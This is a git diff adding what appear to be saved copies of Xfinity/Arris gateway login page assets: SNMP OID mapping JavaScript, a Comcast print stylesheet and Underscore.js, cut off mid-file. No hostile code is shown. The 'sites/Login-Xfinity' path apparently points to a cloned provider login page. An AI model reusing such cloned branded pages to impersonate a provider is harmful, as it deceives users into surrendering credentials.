+MtadocsQosService.FlowDirection = new Column("MtadocsQosServiceFlowDirection", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.4", 4); +MtadocsQosService.PrimaryFlow = new Column("MtadocsQosServicePrimaryFlow", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.5", 4); +MtadocsQosService.TrafficType = new Column("MtadocsQosServiceTrafficType", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.6", 4); +MtadocsQosService.ServicePackets = new Column("MtadocsQosServiceServicePackets", "1.3.6.1.4.1.4115.1.3.3.1.6.1.1.7", 2); +var arMtadocsQosServiceFlowID = MtadocsQosService.FlowID; +var arMtadocsQosServiceClassName = MtadocsQosService.ClassName; +var arMtadocsQosServiceFlowDirection = MtadocsQosService.FlowDirection; +var arMtadocsQosServicePrimaryFlow = MtadocsQosService.PrimaryFlow; +var arMtadocsQosServiceTrafficType = MtadocsQosService.TrafficType; +var arMtadocsQosServiceServicePackets = MtadocsQosService.ServicePackets; + +var MtadocsQosShowDsxLog = new Table("MtadocsQosShowDsxLog", "1.3.6.1.4.1.4115.1.3.3.1.6.4"); +MtadocsQosShowDsxLog.ShowDsxLog = new Column("MtadocsQosShowDsxLogShowDsxLog", "1.3.6.1.4.1.4115.1.3.3.1.6.4.1.2", 4); +var arMtadocsQosShowDsxLogShowDsxLog = MtadocsQosShowDsxLog.ShowDsxLog; + +var MtadocsQosServiceContainer = new Container("MtadocsQosServiceContainer", "1.3.6.1.4.1.4115.1.3.3.1.6"); +MtadocsQosServiceContainer.DisableLoggin = new Scalar("MtadocsQosServiceContainerDisableLoggin", "1.3.6.1.4.1.4115.1.3.3.1.6.2", 2); +MtadocsQosServiceContainer.LogClear = new Scalar("MtadocsQosServiceContainerLogClear", "1.3.6.1.4.1.4115.1.3.3.1.6.3", 2); +var arMtadocsQosServiceContainerDisableLoggin = MtadocsQosServiceContainer.DisableLoggin; +var arMtadocsQosServiceContainerLogClear = MtadocsQosServiceContainer.LogClear; + + +// +// VQM +// +var MtaDevVqm = new Container("MtaDevVqm", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4"); +MtaDevVqm.Line = new Scalar("MtaDevVqmLine", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.1", 2); +MtaDevVqm.Clear = new Scalar("MtaDevVqmClear", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.2", 2); +MtaDevVqm.CallNumberIdentifier = new Scalar("MtaDevVqmCallNumberIdentifier", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.5", 2); +var arMtaDevVqmLine = MtaDevVqm.Line; +var arMtaDevVqmClear = MtaDevVqm.Clear; +var arMtaDevVqmCallNumberIdentifier = MtaDevVqm.CallNumberIdentifier; + +var MtaDevVqmCallNumberTable = new Table("MtaDevVqmCallNumberTable", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.4"); +MtaDevVqmCallNumberTable.CallNumberIds = new Column("MtaDevVqmCallNumberIds", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.4.1.2", 4); +var arMtaDevVqmCallNumberIds = MtaDevVqmCallNumberTable.CallNumberIds; + +var MtaDevVqmMetricTable = new Table("MtaDevVqmMetricTable", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.6"); +MtaDevVqmMetricTable.MtaDevVqmMetricValues = new Column("MtaDevVqmMetricValues", "1.3.6.1.4.1.4115.1.3.3.1.1.1.4.6.1.2", 4); +var arMtaDevVqmMetricValues = MtaDevVqmMetricTable.MtaDevVqmMetricValues; + +//software.php +var CmDoc30EsaftFWTable = new Table("CmDoc30EsaftFWTable", "1.3.6.1.4.1.4115.1.3.4.1.6.1.1"); +CmDoc30EsaftFWTable.FwCurrentFileName = new Column("FwCurrentFileName","1.3.6.1.4.1.4115.1.3.4.1.6.1.1.1.8",4); +var arFwCurrentFileName=CmDoc30EsaftFWTable.FwCurrentFileName; + + +if (window["preWalk"]) { + var foo = []; + _.each(container, function(v) { + foo.push(window[v.name]); + }); + _.each(table, function(v) { + foo.push(window[v.name]); + }); + load.apply(this, foo); +} + + +function dumpInC() { + function dumpOneInC(o) { + $.log("\"" + o.oid + ".\",\"" + o.name + "\","); + } + + _.each(container, function(v) { + _.each(v.children, function(v) { + dumpOneInC(v); + }); + }); + _.each(table, function(v) { + _.each(v.children, function(v) { + dumpOneInC(v); + }); + }); + +} + +var rowStatusCols = [ + arWanStaticDNSRowStatus, + arLanDNSRowStatus, + arLanClientRowStatus, + arDeviceUpDownStatus, + arLanCustomRowStatus, + arWEP64BitKeyStatus, + arWEP128BitKeyStatus, + arMACAccessStatus, + arWDSBridgeStatus, + arFWVirtSrvRowStatus, + arFWIPFilterRowStatus, + arFWMACFilterRowStatus, + arFWPortTrigRowStatus, + arKeywordBlkStatus, + arBlackListStatus, + arWhiteListStatus, + arTrustedDeviceStatus, + arSNTPServerStatus, + arLanStaticClientRowStatus + //, arWebAccessRowStatus not needed since we don't create and I have seen some problems + // arWebAccessRowStatus +]; + +function oidIsRowStatus(oid) { + for (var i=0; i IPv6 ChengDa Lee + + + + + + +var FWCfgv6 = new Container("FWCfgv6", "1.3.6.1.4.1.4115.1.20.1.1.4.40"); +/*FWCfgv6.FWv6Enabled= new Scalar("FWv6Enabled","1.3.6.1.4.1.4115.1.20.1.1.459.1",2); +FWCfgv6.FWv6SecurityLevel= new Scalar("FWv6SecurityLevel","1.3.6.1.4.1.4115.1.20.1.1.459.9",2); +FWCfgv6.FWv6ResetDefaults= new Scalar("FWv6ResetDefaults","1.3.6.1.4.1.4115.1.20.1.1.459.22",2); +FWCfgv6.FWv6BlockHTTP= new Scalar("FWv6BlockHTTP","1.3.6.1.4.1.4115.1.20.1.1.459.23",2); +FWCfgv6.FWv6BlockP2P= new Scalar("FWv6BlockP2P","1.3.6.1.4.1.4115.1.20.1.1.459.24",2); +FWCfgv6.FWv6BlockIdent= new Scalar("FWv6BlockIdent","1.3.6.1.4.1.4115.1.20.1.1.459.25",2); +FWCfgv6.FWv6BlockICMP= new Scalar("FWv6BlockICMP","1.3.6.1.4.1.4115.1.20.1.1.459.26",2); +FWCfgv6.FWv6BlockMulticast= new Scalar("FWv6BlockMulticast","1.3.6.1.4.1.4115.1.20.1.1.459.27",2); +*/ +/*var arFWv6Enabled=FWCfgv6.FWv6Enabled; +var arFWv6SecurityLevel=FWCfgv6.FWv6SecurityLevel; +var arFWv6ResetDefaults=FWCfgv6.FWv6ResetDefaults; +var arFWv6BlockHTTP=FWCfgv6.FWv6BlockHTTP; +var arFWv6BlockP2P=FWCfgv6.FWv6BlockP2P; +var arFWv6BlockIdent=FWCfgv6.FWv6BlockIdent; +var arFWv6BlockICMP=FWCfgv6.FWv6BlockICMP; +var arrisRouterFWIPv6Enable=FWCfgv6.FWv6BlockMulticast; +*/ +FWCfgv6.FWIPv6SecurityLevel = new Scalar("FWIPv6SecurityLevel", "1.3.6.1.4.1.4115.1.20.1.1.4.40.1", 2); +FWCfgv6.FWIPv6BlockHTTP = new Scalar("FWIPv6BlockHTTP", "1.3.6.1.4.1.4115.1.20.1.1.4.40.2", 2); +FWCfgv6.FWIPv6BlockICMP = new Scalar("FWIPv6BlockICMP", "1.3.6.1.4.1.4115.1.20.1.1.4.40.3", 2); +FWCfgv6.FWIPv6BlockMulticast = new Scalar("FWIPv6BlockMulticast","1.3.6.1.4.1.4115.1.20.1.1.4.40.4", 2); +FWCfgv6.FWIPv6BlockP2P = new Scalar("FWIPv6BlockP2P", "1.3.6.1.4.1.4115.1.20.1.1.4.40.5", 2); +FWCfgv6.FWIPv6BlockIDENT = new Scalar("FWIPv6BlockIDENT", "1.3.6.1.4.1.4115.1.20.1.1.4.40.6", 2); +FWCfgv6.FWIPv6Enable = new Scalar("FWIPv6Enable", "1.3.6.1.4.1.4115.1.20.1.1.4.40.7", 2); +FWCfgv6.FWIPv6ResetDefaults = new Scalar("FWIPv6ResetDefaults", "1.3.6.1.4.1.4115.1.20.1.1.4.40.8", 2); + +var arrisRouterFWIPv6SecurityLevel =FWCfgv6.FWIPv6SecurityLevel; +var arrisRouterFWIPv6BlockHTTP =FWCfgv6.FWIPv6BlockHTTP ; +var arrisRouterFWIPv6BlockICMP =FWCfgv6.FWIPv6BlockICMP ; +var arrisRouterFWIPv6BlockMulticast =FWCfgv6.FWIPv6BlockMulticast ; +var arrisRouterFWIPv6BlockP2P =FWCfgv6.FWIPv6BlockP2P ; +var arrisRouterFWIPv6BlockIDENT =FWCfgv6.FWIPv6BlockIDENT ; +var arrisRouterFWIPv6Enable =FWCfgv6.FWIPv6Enable ; +var arrisRouterFWIPv6ResetDefaults =FWCfgv6.FWIPv6ResetDefaults ; + +//Software +var mib2system2 = new Container("mib2system2", "1.3.6.1.4.1.4115.1.3.4.1.460"); +mib2system2.SoftwareImageName = new Scalar("SoftwareImageName","1.3.6.1.4.1.4115.1.3.4.1.460.1",2); +mib2system2.AdvancedServices = new Scalar("AdvancedServices","1.3.6.1.4.1.4115.1.3.4.1.460.2",2); +var mib2system2SoftwareImageName = mib2system2.SoftwareImageName; +var mib2system2AdvancedServices = mib2system2.AdvancedServices; + +//battery +var MtaDevBatteryStatusTable2 = new Table("MtaDevBatteryStatusTable2", "1.3.6.1.4.1.4115.1.3.3.1.3.5.461"); +MtaDevBatteryStatusTable2.MtaDevBatteryCondition = new Column("MtaDevBatteryCondition", "1.3.6.1.4.1.4115.1.3.3.1.3.5.461.1.2", 2); +MtaDevBatteryStatusTable2.MtaDevNumberofCycles = new Column("MtaDevNumberofCycles", "1.3.6.1.4.1.4115.1.3.3.1.3.5.461.1.5", 2); +var arMtaDevBatteryCondition = MtaDevBatteryStatusTable2.MtaDevBatteryCondition; +var arMtaDevNumberofCycles = MtaDevBatteryStatusTable2.MtaDevNumberofCycles; + +var MtaDevBatteryStatus = new Container("MtaDevBatteryStatus", "1.3.6.1.4.1.4115.1.3.3.1.3.5"); +MtaDevBatteryStatus.MtaDevTotalCapacity = new Scalar("MtaDevTotalCapacity","1.3.6.1.4.1.4115.1.3.3.1.3.5.5",2); +MtaDevBatteryStatus.MtaDevActualCapacity = new Scalar("MtaDevActualCapacity","1.3.6.1.4.1.4115.1.3.3.1.3.5.6",2); +var mib2MtaDevTotalCapacity = MtaDevBatteryStatus.MtaDevTotalCapacity; +var mib2MtaDevActualCapacity = MtaDevBatteryStatus.MtaDevActualCapacity; + +//remote management +var cmDocExtendCmParamterTable = new Table("cmDocExtendCmParamterTable", "1.3.6.1.4.1.4115.1.3.4.1.8.7"); +cmDocExtendCmParamterTable.CmParamterType = new Column("CmParamterType","1.3.6.1.4.1.4115.1.3.4.1.8.7.1.2",2); +cmDocExtendCmParamterTable.CmParamterIpAddress = new Column("CmParamterIpAddress","1.3.6.1.4.1.4115.1.3.4.1.8.7.1.3",4); +var arCmParamterType=cmDocExtendCmParamterTable.CmParamterType; +var arCmParamterIpAddress=cmDocExtendCmParamterTable.CmParamterIpAddress; + +//moca +var ArrisMoCAMib = new Container("ArrisMoCAMib", "1.3.6.1.4.1.4115.1.21"); +ArrisMoCAMib.MoCAApplySettings= new Scalar("MoCAApplySettings","1.3.6.1.4.1.4115.1.21.2",2); +var arMoCAApplySettings=ArrisMoCAMib.MoCAApplySettings; + +var mocaConfigation = new Container("mocaConfigation", "1.3.6.1.4.1.4115.1.21.1"); +mocaConfigation.ChanncelSetMethod = new Scalar("ChanncelSetMethod","1.3.6.1.4.1.4115.1.21.1.1",2); +mocaConfigation.TabooChanncel = new Scalar("TabooChanncel","1.3.6.1.4.1.4115.1.21.1.4",66); +mocaConfigation.mocaChanncelMark = new Scalar("mocaChanncelMark","1.3.6.1.4.1.4115.1.21.1.2",66); +mocaConfigation.mocaLOF = new Scalar("mocaLOF","1.3.6.1.4.1.4115.1.21.1.5",2); +mocaConfigation.mocaPrimchnoff = new Scalar("mocaPrimchnoff","1.3.6.1.4.1.4115.1.21.1.6",2); + +var arChanncelSetMethod = mocaConfigation.ChanncelSetMethod; +var arTabooChanncel = mocaConfigation.TabooChanncel; +var armocaChanncelMark = mocaConfigation.mocaChanncelMark; +var armocaLOF = mocaConfigation.mocaLOF; +var armocaPrimchnoff = mocaConfigation.mocaPrimchnoff; + + +//Gateway > Hardware > LAN Ethernet +//var mib2interface2 = new Container("mib2interface2", "1.3.6.1.2.1.2.2.1.5.4.462"); +//mib2interface2.ifPort4Enable = new Scalar("ifPort4Enable","1.3.6.1.2.1.2.2.1.5.4.462.1",2); +//var arifPort4Enable = mib2interface2.ifPort4Enable; + +//Gateway > Hardware > USB : port 1/port 2 +var mib2interfaceUSB = new Container("mib2interfaceUSB", "1.3.6.1.4.1.4.2.1.5.4.463"); +mib2interfaceUSB.USB1status= new Scalar("USB1status","1.3.6.1.4.1.4.2.1.5.4.463.1"); +mib2interfaceUSB.USB1Desc= new Scalar("USB1Desc", "1.3.6.1.4.1.4.2.1.5.4.463.2"); +mib2interfaceUSB.USB1SN= new Scalar("USB1SN", "1.3.6.1.4.1.4.2.1.5.4.463.3"); +mib2interfaceUSB.USB1Speed= new Scalar("USB1Speed","1.3.6.1.4.1.4.2.1.5.4.463.4"); +mib2interfaceUSB.USB1Manufacturer= new Scalar("USB1Manufacturer","1.3.6.1.4.1.4.2.1.5.4.463.5"); +var arUSB1status=mib2interfaceUSB.USB1status; +var arUSB1Desc=mib2interfaceUSB.USB1Desc; +var arUSB1SN=mib2interfaceUSB.USB1SN; +var arUSB1Speed=mib2interfaceUSB.USB1Speed; +var arUSB1Manufacturer=mib2interfaceUSB.USB1Manufacturer; + +//Connected Devices > Network Storage, NetworkStorage +var MtaDevBatteryStatusTable2 = new Table("MtaDevBatteryStatusTable2", "1.3.6.1.4.1.4115.1.3.3.1.3.5.461"); + MtaDevBatteryStatusTable2.MtaDevBatteryCondition = new Column("MtaDevBatteryCondition", "1.3.6.1.4.1.4115.1.3.3.1.3.5.461.1.2", 2); +//var arMtaDevBatteryCondition = MtaDevBatteryStatusTable2.MtaDevBatteryCondition; + +var mib2interfaceNetworkStorageTable= new Table("mib2interfaceNetworkStorageTable", "1.3.6.1.4.1.4.2.1.5.4.464"); +mib2interfaceNetworkStorageTable.NSName= new Column("NSName", "1.3.6.1.4.1.4.2.1.5.4.464.1.1"); +mib2interfaceNetworkStorageTable.NSFileSystem = new Column("NSFileSystem", "1.3.6.1.4.1.4.2.1.5.4.464.1.2"); +mib2interfaceNetworkStorageTable.NSSpaceAvailable = new Column("NSSpaceAvailable", "1.3.6.1.4.1.4.2.1.5.4.464.1.3"); +mib2interfaceNetworkStorageTable.NSTotalSpace= new Column("NSTotalSpace","1.3.6.1.4.1.4.2.1.5.4.464.1.4"); +mib2interfaceNetworkStorageTable.NSLocation= new Column("NSLocation","1.3.6.1.4.1.4.2.1.5.4.464.1.5"); +var arNSName= mib2interfaceNetworkStorageTable.NSName; +var arNSFileSystem = mib2interfaceNetworkStorageTable.NSFileSystem; +var arNSSpaceAvailable = mib2interfaceNetworkStorageTable.NSSpaceAvailable; +var arNSTotalSpace = mib2interfaceNetworkStorageTable.NSTotalSpace; +var arNSLocation = mib2interfaceNetworkStorageTable.NSLocation; + + +// Range Extenders +var mib2interfaceRangeExtender=new Table("mib2interfaceRangeExtender", "1.3.6.1.4.1.4.2.1.5.4.465"); +mib2interfaceRangeExtender.RangeExtenderName =new Column("RangeExtenderName", "1.3.6.1.4.1.4.2.1.5.4.465.1.1"); +mib2interfaceRangeExtender.RESSID =new Column("RESSID", "1.3.6.1.4.1.4.2.1.5.4.465.1.2"); +mib2interfaceRangeExtender.REBSSID =new Column("REBSSID", "1.3.6.1.4.1.4.2.1.5.4.465.1.3"); +mib2interfaceRangeExtender.REFrequencyBand =new Column("REFrequencyBand", "1.3.6.1.4.1.4.2.1.5.4.465.1.4"); +mib2interfaceRangeExtender.REChannel =new Column("REChannel", "1.3.6.1.4.1.4.2.1.5.4.465.1.5"); +mib2interfaceRangeExtender.RESecurityMode =new Column("RESecurityMode", "1.3.6.1.4.1.4.2.1.5.4.465.1.6"); +var arRangeExtenderName=mib2interfaceRangeExtender.RangeExtenderName ; +var arRESSID =mib2interfaceRangeExtender.RESSID ; +var arREBSSID =mib2interfaceRangeExtender.REBSSID ; +var arREFrequencyBand =mib2interfaceRangeExtender.REFrequencyBand ; +var arREChannel =mib2interfaceRangeExtender.REChannel ; +var arRESecurityMode =mib2interfaceRangeExtender.RESecurityMode ; + + +// Advanced >> remote_management +var mib2interfaceRemoteManagement = new Container("mib2interfaceRemoteManagement", "1.3.6.1.4.1.4.2.1.5.4.466"); +mib2interfaceRemoteManagement.RMEnableHttp= new Scalar("RMEnableHttp", "1.3.6.1.4.1.4.2.1.5.4.466.1", 2); +mib2interfaceRemoteManagement.RMEnableHttps= new Scalar("RMEnableHttps", "1.3.6.1.4.1.4.2.1.5.4.466.2", 2); +mib2interfaceRemoteManagement.RMAddrv4= new Scalar("RMAddrv4", "1.3.6.1.4.1.4.2.1.5.4.466.3", 2); +mib2interfaceRemoteManagement.RMAddrv6= new Scalar("RMAddrv6", "1.3.6.1.4.1.4.2.1.5.4.466.4", 2); +mib2interfaceRemoteManagement.RMAllowedIndex= new Scalar("RMAllowedIndex", "1.3.6.1.4.1.4.2.1.5.4.466.5", 2); +mib2interfaceRemoteManagement.RMAddrv4From= new Scalar("RMAddrv4From", "1.3.6.1.4.1.4.2.1.5.4.466.6", 2); +mib2interfaceRemoteManagement.RMAddrv4End= new Scalar("RMAddrv4End", "1.3.6.1.4.1.4.2.1.5.4.466.7", 2); +mib2interfaceRemoteManagement.RMAddrv6From= new Scalar("RMAddrv6From", "1.3.6.1.4.1.4.2.1.5.4.466.8", 2); +mib2interfaceRemoteManagement.RMAddrv6End= new Scalar("RMAddrv6End", "1.3.6.1.4.1.4.2.1.5.4.466.9", 2); +mib2interfaceRemoteManagement.RMTelnetEnble= new Scalar("RMTelnetEnble", "1.3.6.1.4.1.4.2.1.5.4.466.10", 2); +mib2interfaceRemoteManagement.RMSSHEnable= new Scalar("RMSSHEnable", "1.3.6.1.4.1.4.2.1.5.4.466.11", 2); +var arRMEnableHttp= mib2interfaceRemoteManagement.RMEnableHttp; +var arRMEnableHttps=mib2interfaceRemoteManagement.RMEnableHttps; +var arRMAddrv4= mib2interfaceRemoteManagement.RMAddrv4; +var arRMAddrv6= mib2interfaceRemoteManagement.RMAddrv6; +var arRMAllowedIndex= mib2interfaceRemoteManagement.RMAllowedIndex; +var arRMAddrv4From= mib2interfaceRemoteManagement.RMAddrv4From; +var arRMAddrv4End= mib2interfaceRemoteManagement.RMAddrv4End; +var arRMAddrv6From= mib2interfaceRemoteManagement.RMAddrv6From; +var arRMAddrv6End= mib2interfaceRemoteManagement.RMAddrv6End; +var arRMTelnetEnble=mib2interfaceRemoteManagement.RMTelnetEnble; +var arRMSSHEnable= mib2interfaceRemoteManagement.RMSSHEnable; + +// Advanced >> Radius Servers +var RadiusServerTable =new Table ("RadiusServerTable","1.3.6.1.4.1.4.2.1.5.4.469"); +RadiusServerTable.RSEnable =new Column("RSEnable", "1.3.6.1.4.1.4.2.1.5.4.469.1.1"); +RadiusServerTable.RSIp =new Column("RSIp", "1.3.6.1.4.1.4.2.1.5.4.469.1.2"); +RadiusServerTable.RSAuthPort =new Column("RSAuthPort", "1.3.6.1.4.1.4.2.1.5.4.469.1.3"); +RadiusServerTable.RSAcctPort =new Column("RSAcctPort", "1.3.6.1.4.1.4.2.1.5.4.469.1.4"); +RadiusServerTable.RSLocalIF =new Column("RSLocalIF", "1.3.6.1.4.1.4.2.1.5.4.469.1.5"); +RadiusServerTable.RSTimout =new Column("RSTimout", "1.3.6.1.4.1.4.2.1.5.4.469.1.6"); +RadiusServerTable.RSReAuthTmt =new Column("RSReAuthTmt", "1.3.6.1.4.1.4.2.1.5.4.469.1.7"); +RadiusServerTable.RSSharedSecret=new Column("RSSharedSecret", "1.3.6.1.4.1.4.2.1.5.4.469.1.8"); +var arRSEnable = RadiusServerTable.RSEnable ; +var arRSIp = RadiusServerTable.RSIp ; +var arRSAuthPort = RadiusServerTable.RSAuthPort ; +var arRSAcctPort = RadiusServerTable.RSAcctPort ; +var arRSLocalIF = RadiusServerTable.RSLocalIF ; +var arRSTimout = RadiusServerTable.RSTimout ; +var arRSReAuthTmt = RadiusServerTable.RSReAuthTmt ; +var arRSSharedSecret= RadiusServerTable.RSSharedSecret; + +// samba_server_config.php +var FileShareTable =new Table ("FileShareTable","1.3.6.1.4.1.4.2.1.5.4.472"); +FileShareTable.FSDirectory =new Column("FSDirectory", "1.3.6.1.4.1.4.2.1.5.4.472.1.1"); +FileShareTable.FSName =new Column("FSName", "1.3.6.1.4.1.4.2.1.5.4.472.1.2"); +FileShareTable.FSVisible =new Column("FSVisible", "1.3.6.1.4.1.4.2.1.5.4.472.1.3"); +FileShareTable.FSPermissions =new Column("FSPermissions", "1.3.6.1.4.1.4.2.1.5.4.472.1.4"); +FileShareTable.FSEnableHttp =new Column("FSEnableHttp", "1.3.6.1.4.1.4.2.1.5.4.472.1.5"); +FileShareTable.FSEnableFTP =new Column("FSEnableFTP", "1.3.6.1.4.1.4.2.1.5.4.472.1.6"); +FileShareTable.FSDesc =new Column("FSDesc", "1.3.6.1.4.1.4.2.1.5.4.472.1.7"); +FileShareTable.FSUSB12 =new Column("FSUSB12", "1.3.6.1.4.1.4.2.1.5.4.472.1.8"); +var arFSDirectory =FileShareTable.FSDirectory; +var arFSName =FileShareTable.FSName; +var arFSVisible =FileShareTable.FSVisible; +var arFSPermissions =FileShareTable.FSPermissions; +var arFSEnableHttp =FileShareTable.FSEnableHttp; +var arFSEnableFTP =FileShareTable.FSEnableFTP; +var arFSUSB12 =FileShareTable.FSUSB12; + +// samba_server_config.php +var FileShareManage = new Container("FileShareManage", "1.3.6.1.4.1.4.2.1.5.4.471"); +FileShareManage.FSMShare= new Scalar("FSMShare", "1.3.6.1.4.1.4.2.1.5.4.471.1",2); +FileShareManage.FSMName= new Scalar("FSMName", "1.3.6.1.4.1.4.2.1.5.4.471.2",2); +FileShareManage.FSMReserve= new Scalar("FSMReserve","1.3.6.1.4.1.4.2.1.5.4.471.3",2); +var arFSMShare= FileShareManage.FSMShare; +var arFSMName= FileShareManage.FSMName; +var arFSMReserve= FileShareManage.FSMReserve; + + +//qos1.php +var QOSSettings = new Container("QOSSettings", "1.3.6.1.4.1.4.2.1.5.4.473"); +QOSSettings.QOS4Wmmd= new Scalar("QOS4Wmmd", "1.3.6.1.4.1.4.2.1.5.4.473.1",2); +QOSSettings.QOS4Moca= new Scalar("QOS4Moca", "1.3.6.1.4.1.4.2.1.5.4.473.2",2); +QOSSettings.QOS4Lan= new Scalar("QOS4Lan", "1.3.6.1.4.1.4.2.1.5.4.473.3",2); +QOSSettings.QOS4Upnp= new Scalar("QOS4Upnp", "1.3.6.1.4.1.4.2.1.5.4.473.4",2); +var arQOS4Wmmd= QOSSettings.QOS4Wmmd; +var arQOS4Moca= QOSSettings.QOS4Moca; +var arQOS4Lan= QOSSettings.QOS4Lan; +var arQOS4Upnp= QOSSettings.QOS4Upnp; + +//dlna_settings.php +var DLNASettings = new Container("DLNASettings", "1.3.6.1.4.1.4.2.1.5.4.474"); +DLNASettings.DLNAEnabled= new Scalar("DLNAEnabled","1.3.6.1.4.1.4.2.1.5.4.474.1", 2); +DLNASettings.DLNAMediaType= new Scalar("DLNAMediaType","1.3.6.1.4.1.4.2.1.5.4.474.2", 2); +DLNASettings.DLNAMediaSrc= new Scalar("DLNAMediaSrc","1.3.6.1.4.1.4.2.1.5.4.474.3", 2); +DLNASettings.DLNAMediaPath= new Scalar("DLNAMediaPath","1.3.6.1.4.1.4.2.1.5.4.474.4", 2); +//DLNASettings.= new Scalar("","1.3.6.1.4.1.4.2.1.5.4.474.5", 2); +//DLNASettings.= new Scalar("","1.3.6.1.4.1.4.2.1.5.4.474.6", 2); +var arDLNAEnabled= DLNASettings.DLNAEnabled; +var arDLNAMediaType= DLNASettings.DLNAMediaType; +var arDLNAMediaSrc= DLNASettings.DLNAMediaSrc; +var arDLNAMediaPath= DLNASettings.DLNAMediaPath; + +// digital_media_players.php +var DLMediaPlayer =new Table ("DLMediaPlayer","1.3.6.1.4.1.4.2.1.5.4.475"); +DLMediaPlayer.DLMPName =new Column("FSDirectory", "1.3.6.1.4.1.4.2.1.5.4.475.1.1"); +DLMediaPlayer.DLMPAllw =new Column("DLMediaPlayer","1.3.6.1.4.1.4.2.1.5.4.475.1.2"); +var arDLMPName = DLMediaPlayer.DLMPName; +var arDLMPAllw = DLMediaPlayer.DLMPAllw; + +// digital_media_index.php +var DLMIndexTable =new Table ("DLMIndexTable","1.3.6.1.4.1.4.2.1.5.4.476"); +DLMIndexTable.DLMName =new Column("DLMName", "1.3.6.1.4.1.4.2.1.5.4.476.1.1"); +DLMIndexTable.DLMGenre =new Column("DLMGenre", "1.3.6.1.4.1.4.2.1.5.4.476.1.2"); +DLMIndexTable.DLMArtist =new Column("DLMArtist", "1.3.6.1.4.1.4.2.1.5.4.476.1.3"); +DLMIndexTable.DLMDurat =new Column("DLMDurat", "1.3.6.1.4.1.4.2.1.5.4.476.1.4"); +DLMIndexTable.DLMFold =new Column("DLMFold", "1.3.6.1.4.1.4.2.1.5.4.476.1.5"); +DLMIndexTable.DLMRate =new Column("DLMRate", "1.3.6.1.4.1.4.2.1.5.4.476.1.6"); +DLMIndexTable.DLMAlbum =new Column("DLMAlbum", "1.3.6.1.4.1.4.2.1.5.4.476.1.7"); +DLMIndexTable.DLMCmmnt =new Column("DLMCmmnt", "1.3.6.1.4.1.4.2.1.5.4.476.1.9"); +DLMIndexTable.DLMType =new Column("DLMType", "1.3.6.1.4.1.4.2.1.5.4.476.1.8"); +var arDLMName = DLMIndexTable.DLMName ; // string +var arDLMGenre = DLMIndexTable.DLMGenre ; // 1-8,Fiction, Action, Drama, Comedy, + // Classical, Rock, Fusion, Metal. +var arDLMArtist = DLMIndexTable.DLMArtist ; // string +var arDLMDurat = DLMIndexTable.DLMDurat ; // number +var arDLMFold = DLMIndexTable.DLMFold ; // string +var arDLMRate = DLMIndexTable.DLMRate ; // 1-3: G, PG, R +var arDLMAlbum = DLMIndexTable.DLMAlbum ; // string (music) +var arDLMCmmnt = DLMIndexTable.DLMCmmnt ; // string (picture) +var arDLMType = DLMIndexTable.DLMType ; // png(1), jpeg(2); + // Video (8) + // TV Shows (16) + // Pictures (24) diff --git a/sites/Login-Xfinity/Xfinity_files/print.css b/sites/Login-Xfinity/Xfinity_files/print.css new file mode 100755 index 0000000..3c0c422 --- /dev/null +++ b/sites/Login-Xfinity/Xfinity_files/print.css @@ -0,0 +1,50 @@ +/* $Id: global.css 3119 2009-10-16 20:48:52Z cporto $ */ + +/*---------------------------------------- +Name: global.css +Developed by: Seth Lemoine, Schematic +Date Created: Dec 7, 2009 +Copyright: Comcast +----------------------------------------*/ + +/* Elements +----------------------------------------*/ +body { + font-family: Arial, Helvetica, sans-serif; + +} + +* { + color: #000; + float: none; + font-size: 11pt; + text-decoration:none; + width: auto; +} + +#header, +#footer, +#userToolbar, +#status, +#nav, +a, +button, +input, +.noprint { + display: none; +} + +h1 { + font-size: 24pt; +} + +table { + border-collapse: collapse; +} + +th, +td { + border: 1px solid #ccc; + padding: 4pt; + text-align: left; +} diff --git a/sites/Login-Xfinity/Xfinity_files/underscore.js b/sites/Login-Xfinity/Xfinity_files/underscore.js new file mode 100755 index 0000000..8ee2e83 --- /dev/null +++ b/sites/Login-Xfinity/Xfinity_files/underscore.js @@ -0,0 +1,716 @@ +// (c) 2010 Jeremy Ashkenas, DocumentCloud Inc. +// Underscore is freely distributable under the MIT license. +// Portions of Underscore are inspired or borrowed from Prototype, +// Oliver Steele's Functional, and John Resig's Micro-Templating. +// For all details and documentation: +// http://documentcloud.github.com/underscore + +(function() { + + // Baseline setup + // -------------- + + // Establish the root object, `window` in the browser, or `global` on the server. + var root = this; + + // Save the previous value of the `_` variable. + var previousUnderscore = root._; + + // Establish the object that gets thrown to break out of a loop iteration. + var breaker = typeof StopIteration !== 'undefined' ? StopIteration : '__break__'; + + // Save bytes in the minified (but not gzipped) version: + var ArrayProto = Array.prototype, ObjProto = Object.prototype; + + // Create quick reference variables for speed access to core prototypes. + var slice = ArrayProto.slice, + unshift = ArrayProto.unshift, + toString = ObjProto.toString, + hasOwnProperty = ObjProto.hasOwnProperty, + propertyIsEnumerable = ObjProto.propertyIsEnumerable; + + // All **ECMAScript 5** native function implementations that we hope to use + // are declared here. + var + nativeForEach = ArrayProto.forEach, + nativeMap = ArrayProto.map, + nativeReduce = ArrayProto.reduce, + nativeReduceRight = ArrayProto.reduceRight, + nativeFilter = ArrayProto.filter, + nativeEvery = ArrayProto.every, + nativeSome = ArrayProto.some, + nativeIndexOf = ArrayProto.indexOf, + nativeLastIndexOf = ArrayProto.lastIndexOf, + nativeIsArray = Array.isArray, + nativeKeys = Object.keys; + + // Create a safe reference to the Underscore object for use below. + var _ = function(obj) { return new wrapper(obj); }; + + // Export the Underscore object for **CommonJS**. + if (typeof exports !== 'undefined') exports._ = _; + + // Export Underscore to the global scope. + root._ = _; + + // Current version. + _.VERSION = '1.1.2'; + + // Collection Functions + // -------------------- + + // The cornerstone, an `each` implementation, aka `forEach`. + // Handles objects implementing `forEach`, arrays, and raw objects. + // Delegates to **ECMAScript 5**'s native `forEach` if available. + var each = _.each = _.forEach = function(obj, iterator, context) { + try { + if (nativeForEach && obj.forEach === nativeForEach) { + obj.forEach(iterator, context); + } else if (_.isNumber(obj.length)) { + for (var i = 0, l = obj.length; i < l; i++) iterator.call(context, obj[i], i, obj); + } else { + for (var key in obj) { + if (hasOwnProperty.call(obj, key)) iterator.call(context, obj[key], key, obj); + } + } + } 